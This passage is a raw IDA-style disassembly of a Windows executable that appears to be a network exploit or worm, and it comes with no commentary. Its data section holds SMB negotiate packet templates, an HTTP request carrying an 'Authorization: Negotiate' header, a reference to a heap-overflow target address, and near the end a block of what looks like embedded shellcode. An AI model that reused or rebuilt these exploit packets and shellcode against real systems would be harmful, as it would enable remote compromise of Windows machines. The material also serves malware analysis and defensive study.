ds:dword_495394 ; --------------------------------------------------------------------------- jmp ds:dword_495398 ; --------------------------------------------------------------------------- jmp ds:dword_49539C ; --------------------------------------------------------------------------- jmp ds:dword_4953A0 ; --------------------------------------------------------------------------- jmp ds:dword_4953A4 ; --------------------------------------------------------------------------- jmp ds:dword_4953A8 ; --------------------------------------------------------------------------- jmp ds:dword_4953AC ; --------------------------------------------------------------------------- jmp ds:dword_4953B0 ; --------------------------------------------------------------------------- jmp ds:dword_4953B4 ; --------------------------------------------------------------------------- jmp ds:dword_4953B8 ; --------------------------------------------------------------------------- jmp ds:dword_4953BC ; --------------------------------------------------------------------------- jmp ds:dword_4953C0 ; --------------------------------------------------------------------------- jmp ds:dword_4953C4 ; --------------------------------------------------------------------------- jmp ds:dword_4953C8 ; --------------------------------------------------------------------------- jmp ds:dword_4953CC ; --------------------------------------------------------------------------- jmp ds:dword_4953D0 ; --------------------------------------------------------------------------- jmp ds:dword_4953D4 ; --------------------------------------------------------------------------- jmp ds:dword_4952E0 ; --------------------------------------------------------------------------- jmp ds:dword_4953D8 ; --------------------------------------------------------------------------- jmp ds:dword_4953DC ; --------------------------------------------------------------------------- jmp ds:dword_4953E0 ; --------------------------------------------------------------------------- jmp ds:dword_4953E4 ; --------------------------------------------------------------------------- jmp ds:dword_4953E8 ; --------------------------------------------------------------------------- jmp ds:dword_4953EC ; --------------------------------------------------------------------------- jmp ds:dword_4953F0 ; --------------------------------------------------------------------------- jmp ds:dword_4953F4 ; --------------------------------------------------------------------------- jmp ds:dword_4953F8 ; --------------------------------------------------------------------------- jmp ds:dword_4953FC ; --------------------------------------------------------------------------- jmp ds:dword_495400 ; --------------------------------------------------------------------------- jmp ds:dword_495404 ; --------------------------------------------------------------------------- jmp ds:dword_495408 ; --------------------------------------------------------------------------- jmp ds:dword_49540C ; --------------------------------------------------------------------------- jmp ds:dword_495410 ; --------------------------------------------------------------------------- jmp ds:dword_495414 ; --------------------------------------------------------------------------- jmp ds:dword_495418 ; --------------------------------------------------------------------------- jmp ds:dword_49541C ; --------------------------------------------------------------------------- jmp ds:dword_495420 ; --------------------------------------------------------------------------- jmp ds:dword_495424 ; --------------------------------------------------------------------------- jmp ds:dword_495428 ; --------------------------------------------------------------------------- jmp ds:dword_49542C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421268 proc near ; CODE XREF: sub_41600B+23p ; sub_4162C8+13p jmp ds:dword_495430 sub_421268 endp ; --------------------------------------------------------------------------- jmp ds:dword_495434 ; --------------------------------------------------------------------------- jmp ds:dword_495438 ; --------------------------------------------------------------------------- jmp ds:dword_49543C ; --------------------------------------------------------------------------- jmp ds:dword_495440 ; --------------------------------------------------------------------------- jmp ds:dword_495444 ; --------------------------------------------------------------------------- jmp ds:dword_495448 ; --------------------------------------------------------------------------- jmp ds:dword_49544C ; --------------------------------------------------------------------------- jmp ds:dword_495450 ; --------------------------------------------------------------------------- jmp ds:dword_495454 ; --------------------------------------------------------------------------- jmp ds:dword_495458 ; --------------------------------------------------------------------------- jmp ds:dword_49545C ; --------------------------------------------------------------------------- jmp ds:dword_495460 ; --------------------------------------------------------------------------- jmp ds:dword_495464 ; --------------------------------------------------------------------------- jmp ds:dword_495468 ; --------------------------------------------------------------------------- jmp ds:dword_49546C ; --------------------------------------------------------------------------- jmp ds:dword_495470 ; --------------------------------------------------------------------------- jmp ds:dword_495474 ; --------------------------------------------------------------------------- jmp ds:dword_495478 ; --------------------------------------------------------------------------- jmp ds:dword_49547C ; --------------------------------------------------------------------------- jmp ds:dword_495480 ; --------------------------------------------------------------------------- jmp ds:dword_495484 ; --------------------------------------------------------------------------- jmp ds:dword_495488 ; --------------------------------------------------------------------------- jmp ds:dword_495320 ; --------------------------------------------------------------------------- jmp ds:dword_49531C ; --------------------------------------------------------------------------- jmp ds:dword_495318 ; --------------------------------------------------------------------------- jmp ds:dword_495314 ; --------------------------------------------------------------------------- jmp ds:dword_495310 ; --------------------------------------------------------------------------- jmp ds:dword_49530C ; --------------------------------------------------------------------------- jmp ds:dword_495308 ; --------------------------------------------------------------------------- jmp ds:dword_495304 ; --------------------------------------------------------------------------- jmp ds:dword_495300 ; --------------------------------------------------------------------------- jmp ds:dword_4952FC ; --------------------------------------------------------------------------- jmp ds:dword_4952F8 ; --------------------------------------------------------------------------- jmp ds:dword_4952F4 ; --------------------------------------------------------------------------- jmp ds:dword_4952F0 ; --------------------------------------------------------------------------- jmp ds:dword_4952EC ; --------------------------------------------------------------------------- jmp ds:dword_4952E8 ; --------------------------------------------------------------------------- jmp ds:dword_4952E4 ; --------------------------------------------------------------------------- db 3D32h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425084 proc near ; DATA XREF: .rdata:0042813Co ; FUNCTION CHUNK AT 00401249 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004026A5 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_401249 sub_425084 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4250A2 mov ecx, [ebp+8] jmp loc_401249 ; --------------------------------------------------------------------------- locret_4250A2: ; CODE XREF: .text:00425094j retn ; --------------------------------------------------------------------------- loc_4250A3: ; DATA XREF: sub_402120o mov eax, offset dword_428110 jmp loc_41605A ; --------------------------------------------------------------------------- db 0Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp loc_401249 ; =============== S U B R O U T I N E ======================================= sub_4250C0 proc near ; DATA XREF: .rdata:00428174o lea ecx, [ebp-1Ch] jmp loc_401249 sub_4250C0 endp ; --------------------------------------------------------------------------- loc_4250C8: ; DATA XREF: sub_40232Ao mov eax, offset dword_428148 jmp loc_41605A ; --------------------------------------------------------------------------- align 8 loc_4250D8: ; DATA XREF: sub_402A3Eo mov eax, offset dword_428180 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_401249 ; --------------------------------------------------------------------------- loc_4250EC: ; DATA XREF: sub_415573o mov eax, offset dword_428260 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_4180E2 ; --------------------------------------------------------------------------- loc_425100: ; DATA XREF: sub_4155CDo mov eax, offset dword_428288 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4180E2 ; --------------------------------------------------------------------------- loc_425114: ; DATA XREF: sub_41565Bo mov eax, offset dword_4282D0 jmp loc_41605A ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4180E2 ; --------------------------------------------------------------------------- loc_425128: ; DATA XREF: sub_4156B4o mov eax, offset dword_4282F8 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4180E2 ; --------------------------------------------------------------------------- loc_42513C: ; DATA XREF: sub_415711o mov eax, offset dword_428320 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_401249 ; --------------------------------------------------------------------------- loc_425150: ; DATA XREF: sub_41579Fo mov eax, offset dword_428388 jmp loc_41605A ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4180E2 ; --------------------------------------------------------------------------- loc_425164: ; DATA XREF: sub_4157F9o mov eax, offset dword_4283B0 jmp loc_41605A ; --------------------------------------------------------------------------- db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '',0 align 4 dd 740000h, 39Ah dup(0) _text ends ; Section 2. (virtual address 00027000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00027000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 427000h dd 7 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40232A+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) dbl_427068 dq 1.388888888888889e-2 ; DATA XREF: sub_4020C1+2Fr dd 2 dup(0) dbl_427078 dq 1.666666666666667e-1 ; DATA XREF: sub_4020C1+15r dd 0 dword_427084 dd 0FFFFFFFFh ; DATA XREF: sub_402120+16Fr ; sub_4026AFr ... dbl_427088 dq 1.333333333333333 ; DATA XREF: sub_402120+79r dd 0 dword_427094 dd 0 ; DATA XREF: sub_40232A+4Do ; sub_40278A+5Bo ... dword_427098 dd 0 ; DATA XREF: sub_4049FE+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 34h dup(0) dbl_427568 dq 9.765625e-4 ; DATA XREF: .text:0040500Ar ; .text:00405025r ... dd 2 dup(0) dbl_427578 dq -3.0517578125e-5 ; DATA XREF: sub_411CB1+1Er dd 0 dd offset dword_427EB0 off_427588 dd offset sub_41576B ; DATA XREF: sub_415573+4Do ; sub_415787+Co dd offset sub_415631 dd offset sub_41574E aStringTooLong db 'string too long',0 ; DATA XREF: sub_415573+1Eo dd offset dword_427EE8 off_4275A8 dd offset sub_415698 ; DATA XREF: sub_4155CD+4Eo ; sub_41565B+11o ... dd offset sub_415631 dd offset sub_41563E dd offset dword_427F38 off_4275B8 dd offset sub_415853 ; DATA XREF: sub_41579F+4Do ; sub_41586F+Co dd offset sub_415631 dd offset sub_415836 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41579F+1Eo align 10h dbl_4275E0 dq 1.0 ; DATA XREF: sub_415D9B+6Cr ; sub_415EF3+6Cr ... dword_4275E8 dd 0FFFFFFFFh, 417FA7h, 417FBBh, 427F68h ; DATA XREF: sub_417ED0+5o off_4275F8 dd offset sub_418020 ; DATA XREF: .text:00418019o ; sub_41803C+8o ... dd offset sub_4180F8 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4180F8+7o align 4 dd offset dword_427FB0 off_427618 dd offset sub_41811A ; DATA XREF: sub_418105o ; .text:00418192o ... align 10h dword_427620 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4181A0+Eo dd 3, 19930520h, 2 dup(0) dd 6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h dd 0 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .data:off_435AD4o dbl_4276F0 dq 0.0 ; DATA XREF: sub_4196BA+8Cr ; sub_4196BA+ACr ... dbl_4276F8 dq 4.195835e6 ; DATA XREF: sub_419C33+Fr dbl_427700 dq 3.145727e6 ; DATA XREF: sub_419C33+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419C71+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419C71o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_419D98+93o align 4 dword_427738 dd 0FFFFFFFFh, 41A483h, 41A48Dh, 0 ; DATA XREF: sub_41A41C+5o dword_427748 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A54B+5o dd offset sub_41A609 align 8 dd offset sub_41A5E7 dd offset sub_41A5F1 dword_427760 dd 0FFFFFFFFh, 41A839h, 41A83Dh, 0 ; DATA XREF: sub_41A681+5o dword_427770 dd 0FFFFFFFFh, 41A89Bh, 41A8A4h, 0 ; DATA XREF: sub_41A845+5o dword_427780 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A91C+5o dd offset loc_41A96D align 10h byte_427790 db 59h ; DATA XREF: sub_41AAED+4Ar db 0A9h, 41h, 0 dd offset loc_41A95D dword_427798 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A982+5o dd offset loc_41A9D3 align 8 dd offset loc_41A9BF dd offset loc_41A9C3 byte_4277B0 db 6 ; DATA XREF: sub_41AAED:loc_41AB44r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_435C1Co unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_435C18o align 4 dword_427824 dd 0 ; DATA XREF: sub_41CC29+36o ; sub_41EACD+39o ... dword_427828 dd 0FFFFFFFFh, 41CD39h, 41CD3Dh, 0FFFFFFFFh, 41CDEDh, 41CDF1h ; DATA XREF: sub_41CC29+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43613Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D965+119o align 10h asc_427AF0 db 0Ah ; DATA XREF: sub_41D965+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D965+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41D965+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D965+7Do align 10h dword_427B30 dd 0FFFFFFFFh, 41EBC6h, 41EBCAh ; DATA XREF: sub_41EACD+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41F1B2+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41F80A+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41F80A+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41F80A+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41FF41:loc_420036o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41FF41+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41FF41+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41FF41+ADo align 10h dword_427BD0 dd 0FFFFFFFFh, 420C98h, 420C9Ch, 0FFFFFFFFh, 420D07h, 420D0Bh ; DATA XREF: sub_420AE1+5o dd 98h dup(0) off_427E48 dd offset off_4359E8 ; DATA XREF: .rdata:00427E98o ; .rdata:00427ECCo ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427E60 dd offset off_435A00 ; DATA XREF: .rdata:00427E94o ; .rdata:00427EC8o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_427E78 dd offset off_435A20 ; DATA XREF: .rdata:00427E90o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E78 dd offset off_427E60 dd offset off_427E48 dword_427E9C dd 3 dup(0) ; DATA XREF: .rdata:00427EC0o dd 3, 427E90h dword_427EB0 dd 3 dup(0) ; DATA XREF: .rdata:00427584o dd offset off_435A20 dd offset dword_427E9C+4 align 8 dd offset off_427E60 dd offset off_427E48 dword_427ED0 dd 4 dup(0) ; DATA XREF: .rdata:00427EF8o dd 2, 427EC8h dword_427EE8 dd 3 dup(0) ; DATA XREF: .rdata:004275A4o dd offset off_435A00 dd offset dword_427ED0+8 align 10h off_427F00 dd offset off_435A40 ; DATA XREF: .rdata:00427F18o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427F00 dd offset off_427E60 dd offset off_427E48 dd 0 db 0 ; DATA XREF: .rdata:00427F48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427F18h dword_427F38 dd 3 dup(0) ; DATA XREF: .rdata:004275B4o dd offset off_435A40 dd offset unk_427F28 dd offset off_427E48 dword_427F50 dd 4 dup(0) ; DATA XREF: .rdata:00427F78o dd 1, 427F4Ch, 3 dup(0) dd offset off_4359E8 dd offset dword_427F50+8 align 10h off_427F80 dd offset off_435AA8 ; DATA XREF: .rdata:00427F98o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427F80 dword_427F9C dd 3 dup(0) ; DATA XREF: .rdata:00427FC0o dd 1, 427F98h dword_427FB0 dd 3 dup(0) ; DATA XREF: .rdata:00427614o dd offset off_435AA8 dd offset dword_427F9C+4 dd 53h dup(0) dword_428110 dd 19930520h, 2, 428130h, 5 dup(0) ; DATA XREF: .text:loc_4250A3o dd 0FFFFFFFFh, 42508Ch, 0 dd offset sub_425084 dd 2 dup(0) dword_428148 dd 19930520h, 2, 428168h, 5 dup(0) ; DATA XREF: .text:loc_4250C8o dd 0FFFFFFFFh, 4250B8h, 0 dd offset sub_4250C0 align 10h dword_428180 dd 19930520h, 2, 4281A0h, 1, 4281B0h, 3 dup(0) ; DATA XREF: .text:loc_4250D8o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4281C8h, 4 dup(0) dd offset loc_402A7D dd 3 dup(0) dd offset off_4359E8 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 418079h, 2 dup(0) dd offset off_435A00 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4156B4h, 2 dup(0) dd offset off_435A20 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 415787h, 0 dword_428240 dd 3, 428220h, 428200h, 4281E0h ; DATA XREF: .rdata:0042825Co dword_428250 dd 0 ; DATA XREF: sub_415573+47o ; sub_41574E+12o dd offset sub_415711 dd 0 dd offset dword_428240 dword_428260 dd 19930520h, 1, 428280h, 5 dup(0) ; DATA XREF: .text:loc_4250ECo dd 0FFFFFFFFh, 4250E4h dword_428288 dd 19930520h, 1, 4282A8h, 5 dup(0) ; DATA XREF: .text:loc_425100o dword_4282A8 dd 0FFFFFFFFh, 4250F8h, 2, 428200h, 4281E0h, 0 ; DATA XREF: .rdata:004282CCo dword_4282C0 dd 0 ; DATA XREF: sub_41563E+12o dd offset sub_41565B dd 0 dd offset dword_4282A8+8 dword_4282D0 dd 19930520h, 1, 4282F0h, 5 dup(0) ; DATA XREF: .text:loc_425114o dd 0FFFFFFFFh, 42510Ch dword_4282F8 dd 19930520h, 1, 428318h, 5 dup(0) ; DATA XREF: .text:loc_425128o dd 0FFFFFFFFh, 425120h dword_428320 dd 19930520h, 1, 428340h, 5 dup(0) ; DATA XREF: .text:loc_42513Co dd 0FFFFFFFFh, 425134h, 0 dd offset off_435A40 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41586Fh, 0 dword_428368 dd 3, 428348h, 428200h, 4281E0h ; DATA XREF: .rdata:00428384o dword_428378 dd 0 ; DATA XREF: sub_41579F+47o ; sub_415836+12o dd offset sub_4157F9 dd 0 dd offset dword_428368 dword_428388 dd 19930520h, 1, 4283A8h, 5 dup(0) ; DATA XREF: .text:loc_425150o dd 0FFFFFFFFh, 425148h dword_4283B0 dd 19930520h, 1, 4283D0h, 5 dup(0) ; DATA XREF: .text:loc_425164o dd 0FFFFFFFFh, 42515Ch, 74000000h, 309h dup(0) _rdata ends ; Section 3. (virtual address 00029000) ; Virtual size : 0006C000 ( 442368.) ; Section size in file : 0006C000 ( 442368.) ; Offset to raw data for section: 00029000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 429000h dword_429000 dd 41h dup(0) ; DATA XREF: sub_4177E0+1Fo dd offset sub_402B66 dd offset sub_415887 dd 41h dup(0) dword_429210 dd 41h dup(0) ; DATA XREF: sub_4177E0+1Ao dword_429314 dd 41h dup(0) ; DATA XREF: sub_4177E0+10o dd offset sub_4167F2 dd offset sub_41CAB9 dd offset sub_41E5E8 dd 41h dup(0) dd offset sub_41DB2F dd 40h dup(0) dword_42962C dd 41h dup(0) ; DATA XREF: sub_4177E0:loc_4177EBo dword_429730 dd 41h dup(0) ; DATA XREF: sub_41784D+65o dd offset sub_41E68D dd 40h dup(0) dword_429938 dd 41h dup(0) ; DATA XREF: sub_41784D:loc_4178ADo dword_429A3C dd 41h dup(0) ; DATA XREF: sub_41784D+76o dd offset sub_41DB40 dd 40h dup(0) dword_429C44 dd 43h dup(0) ; DATA XREF: sub_41784D:loc_4178BEo aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401A18+B2o align 4 dword_429D5C dd 10FF8h, 0 ; DATA XREF: sub_401A18+6Ao dword_429D64 dd 10FF8h ; DATA XREF: sub_401A18+79o dword_429D68 dd 7FFDF020h, 0 ; DATA XREF: sub_401A18+162o dword_429D70 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401F4B+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_429DF8 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401F4B+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_429E28 dd 0 ; DATA XREF: sub_401F4B+44o dd 800000D4h, 0 unk_429E34 db 81h ; ; DATA XREF: sub_40205B+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_429E80 db 41h ; DATA XREF: sub_402120+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 aSvwfbA db 'SVWf',0 ; DATA XREF: sub_402413+80o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h 